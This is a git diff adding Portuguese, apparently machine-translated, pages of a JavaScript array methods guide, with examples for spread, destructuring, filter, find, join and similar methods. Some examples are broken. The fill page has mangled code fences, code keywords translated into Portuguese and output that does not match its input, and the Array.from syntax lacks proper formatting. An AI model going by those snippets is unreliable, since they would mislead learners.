+var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ // Append all items from arr2 onto arr1 
+ arr1 = arr1.concat(arr2); 
+```
+
+Com a sintaxe de propagação, isso se torna:
+```
+var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ arr1 = [...arr1, ...arr2]; 
+```
+
+`Array.unshift` é frequentemente usado para inserir uma matriz de valores no início de um array existente. Sem a sintaxe de propagação, isso é feito como:
+```
+var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ // Prepend all items from arr2 onto arr1 
+ Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2] 
+```
+
+Com a sintaxe de propagação, isso se torna:
+```
+var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-destructuring/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-destructuring/index.md
new file mode 100644
index 0000000000..f68033eee8
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-destructuring/index.md
@@ -0,0 +1,91 @@
+---
+title: Array Destructuring
+localeTitle: Destruturação de Matrizes
+---
+# Destruturação de Matrizes
+
+A desestruturação é uma maneira conveniente de extrair vários valores dos dados armazenados em Arrays. Ele pode ser usado em locais que recebem dados (como o lado esquerdo de uma atribuição). Este recurso é introduzido no `ECMAScript 6` .
+
+Como extrair os valores é especificado através de padrões (leia sobre exemplos).
+
+### Atribuição de variável básica
+```
+var names = ['neel', 'meet', 'darshan']; 
+ var [nameOne, nameTwo, nameThree] = names; 
+ console.log(nameOne); // "neel" 
+ console.log(nameTwo); // "meet" 
+ console.log(nameThree); // "darshan" 
+```
+
+### Atribuição separada da declaração
+
+Uma variável pode ser atribuída a seu valor através de desestruturação separada da declaração da variável.
+```
+var a, b; 
+ 
+ [a, b] = [1, 2]; 
+ console.log(a); // 1 
+ console.log(b); // 2 
+```
+
+### Valores padrão
+
+Uma variável pode receber um padrão, caso o valor descompactado da matriz seja `undefined` .
+```
+var a, b; 
+ 
+ [a=5, b=7] = [1]; 
+ console.log(a); // 1 
+ console.log(b); // 7 
+```
+
+### Analisando uma matriz retornada de uma função
+
+Sempre foi possível retornar um array de uma função. A desestruturação pode tornar o trabalho com um valor de retorno de matriz mais conciso.
+
+Neste exemplo, `getNames()` retorna os valores `['neel', 'meet']` como sua saída, que pode ser analisada em uma única linha com desestruturação.
+```
+function getNames() { 
+  return ['neel', 'meet']; 
+ } 
+ 
+ var neel, meet; 
+ [nameOne, nameTwo] = getNames(); 
+ console.log(nameOne); // neel 
+ console.log(nameTwo); // meet 
+```
+
+### Ignorando alguns valores retornados
+
+Você pode ignorar os valores de retorno nos quais não está interessado:
+```
+function getNames() { 
+  return ['neel', 'meet', 'darshan']; 
+ } 
+ 
+ var [nameOne, , nameThree] = getNames(); 
+ console.log(nameOne); // neel 
+ console.log(nameThree); // darshan 
+```
+
+Você também pode ignorar todos os valores retornados:
+```
+[,,] = getNames(); 
+```
+
+### Atribuindo o restante de uma matriz a uma variável
+
+Ao desestruturar uma matriz, você pode descompactar e atribuir a parte restante a uma variável usando o padrão restante:
+```
+var [a, ...b] = [1, 2, 3]; 
+ console.log(a); // 1 
+ console.log(b); // [2, 3] 
+```
+
+Observe que um `SyntaxError` será lançado se uma vírgula final for usada no lado esquerdo com um elemento rest:
+```
+var [a, ...b,] = [1, 2, 3]; 
+ // SyntaxError: rest element may not have a trailing comma 
+```
+
+Veja também: **Array Destructuring** | [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Array_destructuring)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-from/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-from/index.md
new file mode 100644
index 0000000000..0e6ce3e3b4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-from/index.md
@@ -0,0 +1,19 @@
+---
+title: Array from
+localeTitle: Matriz de
+---
+## Matriz de
+
+O método 'Array.from ()' cria uma nova ocorrência de Array a partir de um objeto semelhante a uma matriz ou iterável.
+
+### Sintaxe:
+
+'' ' Array.from (arrayLike \[, mapFn \[, thisArg\]\]) '' '
+
+### Exemplo:
+
+'' ' Array.from ('foo'); // \["f", "o", "o"\] '' '
+
+#### Mais Informações:
+
+[Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-isarray/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-isarray/index.md
new file mode 100644
index 0000000000..e5f3f1484c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-isarray/index.md
@@ -0,0 +1,38 @@
+---
+title: Array isArray
+localeTitle: Array isArray
+---
+O método `Array.isArray()` retorna `true` se um objeto for um array, `false` se não for.
+
+## Sintaxe
+```
+Array.isArray(obj) 
+```
+
+### Parâmetros
+
+**obj** O objeto a ser verificado.
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray) | [Link do MSDN](https://msdn.microsoft.com/en-us/LIBRary/ff848265%28v=vs.94%29.aspx)
+
+## Exemplos
+```
+// all following calls return true 
+ Array.isArray([]); 
+ Array.isArray([1]); 
+ Array.isArray(new Array()); 
+ // Little known fact: Array.prototype itself is an array: 
+ Array.isArray(Array.prototype); 
+ 
+ // all following calls return false 
+ Array.isArray(); 
+ Array.isArray({}); 
+ Array.isArray(null); 
+ Array.isArray(undefined); 
+ Array.isArray(17); 
+ Array.isArray('Array'); 
+ Array.isArray(true); 
+ Array.isArray(false); 
+ Array.isArray({ __proto__: Array.prototype }); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-length/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-length/index.md
new file mode 100644
index 0000000000..8c99a26875
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-length/index.md
@@ -0,0 +1,26 @@
+---
+title: Array Length
+localeTitle: Comprimento da matriz
+---
+## Comprimento da matriz
+
+`length` é uma propriedade de matrizes em JavaScript que retorna ou define o número de elementos em uma determinada matriz.
+
+A propriedade `length` de um array pode ser retornada assim.
+
+```js
+let desserts = ["Cake", "Pie", "Brownies"]; 
+ console.log(desserts.length); // 3 
+```
+
+O operador de atribuição, em conjunto com a propriedade `length` , pode ser usado para definir o número de elementos em um array como esse.
+
+```js
+let cars = ["Saab", "BMW", "Volvo"]; 
+ cars.length = 2; 
+ console.log(cars.length); // 2 
+```
+
+#### Mais Informações:
+
+https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Global\_Objects/Array/length
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-of/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-of/index.md
new file mode 100644
index 0000000000..3c171d071c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-of/index.md
@@ -0,0 +1,27 @@
+---
+title: Array of
+localeTitle: Matriz de
+---
+## Matriz de
+
+O método Array.of () cria uma nova ocorrência de Array com um número variável de argumentos, independentemente do número ou tipo dos argumentos.
+
+Sintaxe:
+
+```javascript
+Array.of(element0[, element1[, ...[, elementN]]]) 
+```
+
+## Exemplo
+
+```javascript
+Array.of(7);       // [7] - creates an array with a single element 
+ Array.of(1, 2, 3); // [1, 2, 3] 
+ 
+ Array(7);          // [ , , , , , , ] - creates an empty array with a length property of 7 
+ Array(1, 2, 3);    // [1, 2, 3] 
+```
+
+#### Mais Informações:
+
+Para mais informações, visite [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/of)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-concat/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-concat/index.md
new file mode 100644
index 0000000000..a3e3cbb0f2
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-concat/index.md
@@ -0,0 +1,45 @@
+---
+title: Array.prototype.concat
+localeTitle: Array.prototype.concat
+---
+## Array.prototype.concat
+
+O método 'concat' retorna um novo array que consiste nos elementos do array em que você o chama, seguidos pelos elementos dos argumentos na ordem em que são passados.
+
+Você pode passar vários argumentos para o método 'concat'. Os argumentos podem ser matrizes ou tipos de dados, como booleanos, cadeias de caracteres e números.
+
+### Sintaxe
+
+```javascript
+const newArray = array.concat(value1, value2, value3...); 
+```
+
+### Exemplos
+
+#### Concatenando duas matrizes
+
+```javascript
+var cold = ['Blue', 'Green', 'Purple']; 
+ var warm = ['Red', 'Orange', 'Yellow']; 
+ 
+ var result = cold.concat(warm); 
+ 
+ console.log(result); 
+ // results in ['Blue', 'Green', 'Purple', 'Red', 'Orange', 'Yellow']; 
+```
+
+#### Concatenando valor para uma matriz
+
+```javascript
+const odd = [1, 3, 5, 7, 9]; 
+ const even = [0, 2, 4, 6, 8]; 
+ 
+ const oddAndEvenAndTen = odd.concat(even, 10); 
+ 
+ console.log(oddAndEvenAndTen); 
+ // results in [1, 3, 5, 7, 9, 0, 2, 4, 6, 8, 10]; 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-copywithin/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-copywithin/index.md
new file mode 100644
index 0000000000..c6c8f270b8
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-copywithin/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.copyWithin
+localeTitle: Array.prototype.copyWithin
+---
+## Array.prototype.copyWithin
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-copywithin/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-entries/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-entries/index.md
new file mode 100644
index 0000000000..292ea2fa10
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-entries/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.entries
+localeTitle: Array.prototype.entries
+---
+## Array.prototype.entries
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-entries/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-every/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-every/index.md
new file mode 100644
index 0000000000..51bc827fa9
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-every/index.md
@@ -0,0 +1,74 @@
+---
+title: Array.prototype.every
+localeTitle: Array.prototype.every
+---
+O método `every()` testa se todos os elementos da matriz passam no teste implementado pela função fornecida.
+
+**Sintaxe**
+
+```javascript
+  arr.every(callback[, thisArg]) 
+```
+
+## Parâmetros
+
+*   função de **retorno de chamada** para testar cada elemento, considerando três argumentos:
+    
+    *   **currentValue** (obrigatório)
+        
+        O elemento atual sendo processado na matriz.
+        
+    *   **índice** (opcional)
+        
+        O índice do elemento atual sendo processado na matriz.
+        
+    *   **array** (opcional)
+        
+        A matriz cada foi chamada.
+        
+*   **thisArg** Opcional. Valor para usar como este ao executar o retorno de chamada.
+    
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every) | [Link do MSDN](https://msdn.microsoft.com/en-us/LIBRary/ff679981%28v=vs.94%29.aspx)
+
+## Descrição
+
+O método `every` chama a função de `callback` uma vez para cada elemento da matriz, em ordem ascendente de índice, até que a função de `callback` retorne false. Se um elemento que faz o `callback` de `callback` retornar false, o método every retornará `false` . Caso contrário, o método every retornará `true` .
+
+A função de retorno de chamada não é chamada para elementos ausentes da matriz.
+
+Além dos objetos de matriz, o método every pode ser usado por qualquer objeto que tenha uma propriedade length e que tenha nomes de propriedades numericamente indexados. `every` não muta a matriz na qual ele é chamado.
+
+## Exemplos
+
+```javascript
+  function isBigEnough(element, index, array) { 
+    return element >= 10; 
+  } 
+  [12, 5, 8, 130, 44].every(isBigEnough);   // false 
+  [12, 54, 18, 130, 44].every(isBigEnough); // true 
+ 
+  // Define the callback function. 
+  function CheckIfEven(value, index, ar) { 
+      document.write(value + " "); 
+ 
+      if (value % 2 == 0) 
+          return true; 
+      else 
+          return false; 
+  } 
+ 
+  // Create an array. 
+  var numbers = [2, 4, 5, 6, 8]; 
+ 
+  // Check whether the callback function returns true for all of the 
+  // array values. 
+  if (numbers.every(CheckIfEven)) 
+      document.write("All are even."); 
+  else 
+      document.write("Some are not even."); 
+ 
+  // Output: 
+  // 2 4 5 Some are not even. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-fill/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-fill/index.md
new file mode 100644
index 0000000000..e62dd0210d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-fill/index.md
@@ -0,0 +1,26 @@
+---
+title: Array.prototype.fill
+localeTitle: Array.prototype.fill
+---
+## Array.prototype.fill
+
+O método fill () preenche todos os elementos em uma matriz com um valor estático.
+
+Sintaxe:
+
+\`\` \`javascript arr.fill (valor) arr.fill (valor, início) arr.fill (valor, início, fim)
+```
+The fill method takes up to three arguments value, start and end. The start and end arguments are optional with default values of 0 and the length of the this object. 
+ 
+ The fill method is a mutable method, it will change this object itself, and return it, not just return a copy of it. 
+ 
+ ## Examples 
+```
+
+javascript \[1, 2, 3\]. Preenchimento (4); // \[4, 4, 4\] \[1, 2, 3\]. Preenchimento (4, 1); // \[1, 4, 4\]
+
+var fruits = \["Uva", "Pêra", "Maçã", "Morango"\]; fruits.fill ("Watermelon", 2, 4); // Banana, Pêra, Melancia, Melancia \`\` \`
+
+#### Mais Informações:
+
+Para mais informações, visite [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/fill)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-filter/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-filter/index.md
new file mode 100644
index 0000000000..d816f41c4d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-filter/index.md
@@ -0,0 +1,78 @@
+---
+title: Array.prototype.filter
+localeTitle: Array.prototype.filter
+---
+## Array.prototype.filter
+
+O método de filtro usa um array como entrada. Leva cada elemento na matriz e aplica uma instrução condicional contra ele. Se esta condição retornar true, o elemento será "empurrado" para a matriz de saída.
+
+Uma vez que cada elemento na matriz de entrada é "filtrado" como tal, gera uma nova matriz contendo cada elemento que retornou verdadeiro.
+
+Neste exemplo abaixo, há uma matriz que possui vários objetos dentro dela. Normalmente, para percorrer esse array, você pode usar um loop for.
+
+Nesse caso, queremos que todos os alunos cujas notas sejam maiores ou iguais a 90.
+
+```javascript
+var students = [ 
+  { name: 'Quincy', grade: 96 }, 
+  { name: 'Jason', grade: 84 }, 
+  { name: 'Alexis', grade: 100 }, 
+  { name: 'Sam', grade: 65 }, 
+  { name: 'Katie', grade: 90 } 
+ ]; 
+ //Define an array to push student objects to. 
+ var studentsGrades = [] 
+ for (var i = 0; i < students.length; i++) { 
+  //Check if grade is greater than 90 
+  if (students[i].grade >= 90) { 
+    //Add a student to the studentsGrades array. 
+    studentsGrades.push(students[i]) 
+  } 
+ } 
+ 
+ return studentsGrades; // [ { name: 'Quincy', grade: 96 }, { name: 'Alexis', grade: 100 }, { name: 'Katie', grade: 90 } ] 
+```
+
+Esse loop funciona, mas é bem demorado. Também pode tornar-se tedioso escrever repetidamente loops para muitos arrays que você precisa percorrer.
+
+Este é um ótimo caso de uso para filtro!
+
+Aqui está o mesmo exemplo usando o filtro:
+
+```javascript
+var students = [ 
+  { name: 'Quincy', grade: 96 }, 
+  { name: 'Jason', grade: 84 }, 
+  { name: 'Alexis', grade: 100 }, 
+  { name: 'Sam', grade: 65 }, 
+  { name: 'Katie', grade: 90 } 
+ ]; 
+ 
+ var studentGrades = students.filter(function (student) { 
+  //This tests if student.grade is greater than or equal to 90. It returns the "student" object if this conditional is met. 
+  return student.grade >= 90; 
+ }); 
+ 
+ return studentGrades; // [ { name: 'Quincy', grade: 96 }, { name: 'Alexis', grade: 100 }, { name: 'Katie', grade: 90 } ] 
+```
+
+O método de filtro é muito mais rápido de escrever e mais limpo de ler enquanto ainda realiza a mesma coisa. Usando a sintaxe do ES6, podemos até replicar o loop for de 6 linhas com filtro:
+
+```javascript
+var students = [ 
+  { name: 'Quincy', grade: 96 }, 
+  { name: 'Jason', grade: 84 }, 
+  { name: 'Alexis', grade: 100 }, 
+  { name: 'Sam', grade: 65 }, 
+  { name: 'Katie', grade: 90 } 
+ ]; 
+ 
+ var studentGrades = students.filter(student => student.grade >= 90); 
+ return studentGrades; // [ { name: 'Quincy', grade: 96 }, { name: 'Alexis', grade: 100 }, { name: 'Katie', grade: 90 } ] 
+```
+
+O filtro é muito útil e é uma excelente opção em loops forçados para filtrar matrizes contra instruções condicionais.
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-find/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-find/index.md
new file mode 100644
index 0000000000..a5d1c75e04
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-find/index.md
@@ -0,0 +1,71 @@
+---
+title: Array.prototype.find
+localeTitle: Array.prototype.find
+---
+## Em formação
+
+O método `find()` retorna o valor do primeiro elemento na matriz que satisfaz a função de teste fornecida. Caso contrário, indefinido é retornado. O método `find()` não altera o array no qual é chamado.
+
+Sintaxe:
+```
+arr.find(callback[, thisArg]) 
+```
+
+##### Parâmetros
+
+*   `callback`
+*   Função para executar em cada valor no array, tomando três argumentos:
+*   `element`
+    *   O elemento atual sendo processado na matriz.
+*   `index`
+    *   O índice do elemento atual sendo processado na matriz.
+*   `array`
+    *   O array encontrado foi chamado.
+*   `thisArg` (opcional)
+*   Objeto para usar como este ao executar o retorno de chamada.
+
+##### Valor de retorno
+
+Um valor na matriz se um elemento passar no teste; caso contrário, indefinido.
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find)
+
+## Exemplos
+
+Este exemplo encontrará o item correspondente na matriz e retornará o objeto a partir dele.
+
+```javascript
+let items = [ 
+    {name: 'books', quantity: 2}, 
+    {name: 'movies', quantity: 1}, 
+    {name: 'games', quantity: 5} 
+ ]; 
+ 
+ function findMovies(item) { 
+    return item.name === 'movies'; 
+ } 
+ 
+ console.log(items.find(findMovies)); 
+ 
+ // Output 
+ //  { name: 'movies', quantity: 1 } 
+```
+
+O exemplo a seguir mostra a saída de cada parâmetro opcional para a função de retorno de chamada. Isso retornará `undefined` porque nenhum dos itens retornará true da função de retorno de chamada.
+
+```javascript
+function showInfo(element, index, array) { 
+  console.log('element = ' + element + ', index = ' + index + ', array = ' + array); 
+  return false; 
+ } 
+ 
+ console.log('return = ' + [4, 6, 8, 12].find(showInfo)); 
+ 
+ // Output 
+ //  element = 4, index = 0, array = 4,6,8,12 
+ //  element = 6, index = 1, array = 4,6,8,12 
+ //  element = 8, index = 2, array = 4,6,8,12 
+ //  element = 12, index = 3, array = 4,6,8,12 
+ //  return = undefined 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-findindex/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-findindex/index.md
new file mode 100644
index 0000000000..cf9aebe953
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-findindex/index.md
@@ -0,0 +1,73 @@
+---
+title: Array.prototype.findIndex
+localeTitle: Array.prototype.findIndex
+---
+## Em formação
+
+O método `findIndex()` retorna o índice do primeiro elemento na matriz que satisfaz a função de teste fornecida. Caso contrário, -1 é retornado.
+
+O método `findIndex()` não altera o array no qual ele é chamado.
+
+Sintaxe:
+```
+arr.findIndex(callback[, thisArg]) 
+```
+
+##### Parâmetros
+
+*   `callback`
+*   Função para executar em cada valor no array, tomando três argumentos:
+*   `element`
+    *   O elemento atual sendo processado na matriz.
+*   `index`
+    *   O índice do elemento atual sendo processado na matriz.
+*   `array`
+    *   A matriz findIndex () foi chamada.
+*   `thisArg` (opcional)
+*   Objeto para usar como este ao executar o retorno de chamada.
+
+##### Valor de retorno
+
+Um índice na matriz se um elemento passar no teste; caso contrário, -1.
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex)
+
+## Exemplos
+
+Este exemplo encontrará o item correspondente na matriz e retornará o índice a partir dele.
+
+```javascript
+let items = [ 
+    {name: 'books', quantity: 2}, 
+    {name: 'movies', quantity: 1}, 
+    {name: 'games', quantity: 5} 
+ ]; 
+ 
+ function findMovies(item) { 
+    return item.name === 'movies'; 
+ } 
+ 
+ console.log(items.findIndex(findMovies)); 
+ 
+ // Index of 2nd element in the Array is returned, 
+ // so this will result in '1' 
+```
+
+O exemplo a seguir mostra a saída de cada parâmetro opcional para a função de retorno de chamada. Isso retornará `-1` porque nenhum dos itens retornará true da função de retorno de chamada.
+
+```javascript
+function showInfo(element, index, array) { 
+  console.log('element = ' + element + ', index = ' + index + ', array = ' + array); 
+  return false; 
+ } 
+ 
+ console.log('return = ' + [4, 6, 8, 12].findIndex(showInfo)); 
+ 
+ // Output 
+ //  element = 4, index = 0, array = 4,6,8,12 
+ //  element = 6, index = 1, array = 4,6,8,12 
+ //  element = 8, index = 2, array = 4,6,8,12 
+ //  element = 12, index = 3, array = 4,6,8,12 
+ //  return = -1 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-foreach/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-foreach/index.md
new file mode 100644
index 0000000000..61b0976502
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-foreach/index.md
@@ -0,0 +1,37 @@
+---
+title: Array.prototype.forEach
+localeTitle: Array.prototype.forEach
+---
+## Array.prototype.forEach
+
+O método array 'forEach' é usado para percorrer cada item de uma matriz. O método é chamado no objeto array e recebe uma função que é chamada em cada item da matriz.
+
+```javascript
+var arr = [1, 2, 3, 4, 5]; 
+ 
+ arr.forEach(number => console.log(number * 2)); 
+ 
+ // 2 
+ // 4 
+ // 6 
+ // 8 
+ // 10 
+```
+
+A função de retorno de chamada também pode ter um segundo parâmetro de um índice, caso você precise referenciar o índice do item atual na matriz.
+
+```javascript
+var arr = [1, 2, 3, 4, 5]; 
+ 
+ arr.forEach((number, i) => console.log(`${number} is at index ${i}`)); 
+ 
+ // '1 is at index 0' 
+ // '2 is at index 1' 
+ // '3 is at index 2' 
+ // '4 is at index 3' 
+ // '5 is at index 4' 
+```
+
+#### Mais Informações:
+
+[Artigo do MDN em Array.prototype.forEach ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-includes/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-includes/index.md
new file mode 100644
index 0000000000..1c736bf6cb
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-includes/index.md
@@ -0,0 +1,24 @@
+---
+title: Array.prototype.includes
+localeTitle: Array.prototype.includes
+---
+## Array.prototype.includes
+
+O método `includes()` determina se uma matriz inclui um valor. Retorna verdadeiro ou falso.
+
+Leva dois argumentos:
+
+1.  `searchValue` - O elemento a procurar na matriz.
+2.  `fromIndex` - A posição na matriz para começar a procurar o searchValue `searchValue` . Se um valor negativo for fornecido, ele começa a partir do comprimento da matriz menos o valor negativo.
+
+### Exemplo
+
+```js
+const a = [1, 2, 3]; 
+ a.includes(2); // true 
+ a.includes(4); // false 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-indexof/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-indexof/index.md
new file mode 100644
index 0000000000..f7870db8c1
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-indexof/index.md
@@ -0,0 +1,44 @@
+---
+title: Array.prototype.indexOf
+localeTitle: Array.prototype.indexOf
+---
+## Array.prototype.indexOf
+
+O método `indexOf()` retorna o primeiro índice no qual um determinado elemento pode ser encontrado na matriz. Se o elemento não estiver presente, retornará -1.
+
+**Sintaxe**
+
+```javascript
+  arr.indexOf(searchElement[, fromIndex]) 
+```
+
+## Parâmetros
+
+*   Elemento **searchElement** para o qual você está procurando
+    
+*   **fromIndex** Opcional. O índice em que você deseja iniciar a pesquisa. Se o fromIndex for maior ou igual ao comprimento da matriz, a matriz não será pesquisada e o método retornará -1. Se o fromIndex for um número negativo, ele considerará um deslocamento do final da matriz (a matriz ainda será pesquisada a partir de lá). O valor padrão é 0, o que significa que toda a matriz é pesquisada.
+    
+
+## Descrição
+
+O método `indexOf` usa cada elemento da matriz na ordem ascendente do índice e o verifica contra `searchElement` usando igualdade estrita ( `===` ). Depois de encontrar um elemento que retorna `true` , ele retorna seu índice.
+
+## Exemplos
+
+```javascript
+var array = [1, 2, 4, 1, 7] 
+ 
+ array.indexOf(1); // 0 
+ array.indexOf(7); // 4 
+ array.indexOf(6); // -1 
+ array.indexOf('1'); // -1 
+ array.indexOf('hello'); // -1 
+ array.indexOf(1, 2); // 3 
+ array.indexOf(1, -3); // 3 
+```
+
+### Mais Informações:
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+
+[Link do MSDN](https://docs.microsoft.com/en-us/scripting/javascript/reference/indexof-method-array-javascript)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-join/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-join/index.md
new file mode 100644
index 0000000000..0559de08f8
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-join/index.md
@@ -0,0 +1,39 @@
+---
+title: Array.prototype.join
+localeTitle: Array.prototype.join
+---
+O método de array JavaScript `.join()` combinará todos os elementos de um array em uma única string.
+
+**Sintaxe**
+
+```javascript
+  var array = ["Lorem", "Ipsum", "Dolor", "Sit"]; 
+  var str = array.join([separator]); 
+```
+
+## Parâmetros
+
+**separador**
+
+Opcional. Especifica a string a ser usada para separar cada elemento da matriz original. Se o separador não for uma string, ele será convertido em uma string. Se o parâmetro separador não for fornecido, os elementos da matriz serão separados por vírgula por padrão. Se o separador for uma string vazia `""` , todos os elementos da matriz serão unidos sem um caractere separador entre eles.
+
+## Descrição
+
+`.join()` junta todos os elementos de um array em uma única string. Se algum dos elementos da matriz for `undefined` ou `null` , esse elemento será convertido na string vazia `""` .
+
+## Exemplos
+
+**Usando `.join()` quatro maneiras diferentes**
+
+```javascript
+  var array = ["Lorem", "Ipsum", "Dolor" ,"Sit"]; 
+ 
+  var join1 = array.join();           /* assigns "Lorem,Ipsum,Dolor,Sit" to join1 variable 
+                                         (because no separator was provided .join() 
+                                         defaulted to using a comma) */ 
+  var join2 = array.join(", ");       // assigns "Lorem, Ipsum, Dolor, Sit" to join2 variable 
+  var join3 = array.join(" + ");      // assigns "Lorem + Ipsum + Dolor + Sit" to join3 variable 
+  var join4 = array.join("");         // assigns "LoremIpsumDolorSit" to join4 variable 
+```
+
+Fonte: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-lastindexof/index.md b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-lastindexof/index.md
new file mode 100644
index 0000000000..4794dfc89b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/array/array-prototype-lastindexof/index.md
@@ -0,0 +1,75 @@
+---
+title: Array.prototype.lastIndexOf
+localeTitle: Array.prototype.lastIndexOf
+---
+## Array.prototype.lastIndexof
+
+O método `lastIndexOf()` retorna o último índice no qual um dado elemento pode ser encontrado na matriz, ou -1 se não estiver presente. A matriz é pesquisada de trás para frente, começando em `fromIndex` .
+
+**Sintaxe**
+
+```javascript
+  arr.lastIndexOf(searchElement, fromIndex = arr.length - 1]) 
+```
+
+## Parâmetros
+
+*   **searchElement**
+    
+    *   Elemento para localizar na matriz.
+*   **fromIndex**
+    
